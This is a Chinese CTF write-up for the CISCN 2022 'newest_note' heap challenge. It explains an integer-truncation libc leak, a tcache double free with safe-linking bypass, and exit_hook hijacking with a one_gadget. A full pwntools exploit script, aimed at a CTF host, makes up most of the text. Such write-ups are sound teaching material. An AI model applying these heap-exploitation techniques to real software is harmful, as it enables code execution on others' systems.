关于申请大于top chunk的堆块使其分配到libc的地址以及exit_hook的劫持
例题是 [CISCN 2022 初赛]newest_note
通过申请0x20004200大小的page,乘以8后为0x100021000,因为malloc的参数是int类型,故1被截断,0x21000比top chunk大,会在libc上分配一块新地址,从而利用整形溢出可泄露libc地址
通过search命令可以找到libc中保存top chunk地址的地址
再看我们堆块的地址,即可算出偏移 (0x7fe7a2f45ce0 - 0x7fe7a2d08010) / 8 = 293786
用0x7fe7a2f45ce0 泄露出的地址是0x7fe7a2f45cc0,因为程序show函数内是采用的是双指针类型
0x7fe7a2f45ce0 -> 0x7fe7a2f45cd0 -> 0x7fe7a2f45cc0
uaf部分就不讲了,主要记录一下exit_hook是如何劫持的
这里主要是通过调试得出来的偏移
先在exit下个断点,然后单步调试到这里
在libc文件中呈现为
把偏移为0x21a6c8的地址赋值给rbx,偏移0x21a6D0的地址赋值给r12,这里rbx < r12,所以会执行call qword ptr [rbx],所以只需将 0x21a6c8 的值赋为 one_gadget 就可以了
这里需要注意的是,exit_hook的偏移不能直接用 0x21a6c8,要用 0x21a6c0,不然在申请堆块时会报错
malloc(): unaligned tcache chunk detected(检测到未对齐的tache块)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| from pwn import * from pwn import p8,p16,p32,p64,u32,u64 context.arch = 'amd64'
context.terminal = ['gnome-terminal', '-e'] local_file = '/home/feichai/ctf_file/newest_note' elf=ELF(local_file) local_libc = elf.libc.path libc=ELF(local_libc, checksec = False)
def start(): if args.GDB: gdbscript = ''' b exit ''' io = process(local_file) gdb.attach(io, gdbscript) elif args.PROCESS: io = process(local_file) else: io = remote("node4.anna.nssctf.cn",28866) return io
def lg(s, addr): return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')
def get_leak(bytes=6): if bytes == 4: return u32(r(4).ljust(4, b'\x00')) else: return u64(r(bytes).ljust(8, b'\x00'))
r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b)
io = start()
def choice(index): sla(': ',str(index))
def add(idx,content=b'aaaa'): choice(1) sla('Index: ',str(idx)) sa('Content: ',content)
def free(idx): choice(2) sla('Index: ',str(idx))
def show(idx): choice(3) sla('Index: ',str(idx))
def exp():
sla('will be? :',str(0x20004200)) show(293786) ru(b'Content: ') libc_base = get_leak() - 0x218cc0 lg('libc_base',libc_base)
for i in range(10): add(i)
for i in range(7): free(i)
show(0) ru(b'Content: ') key = get_leak(5) heap_base = key << 12 lg('heap_base',heap_base) free(7) free(8) free(7)
exit_hook = libc_base + 0x21a6c0 for i in range(7): add(i) add(10,p64(exit_hook^key)) add(11) add(12)
og = [0xeeccc, 0xeeccf, 0xeecd2] og = og[0] + libc_base add(13,p64(og)*2)
pause() choice(4)
io.interactive()
if __name__=='__main__': exp()
|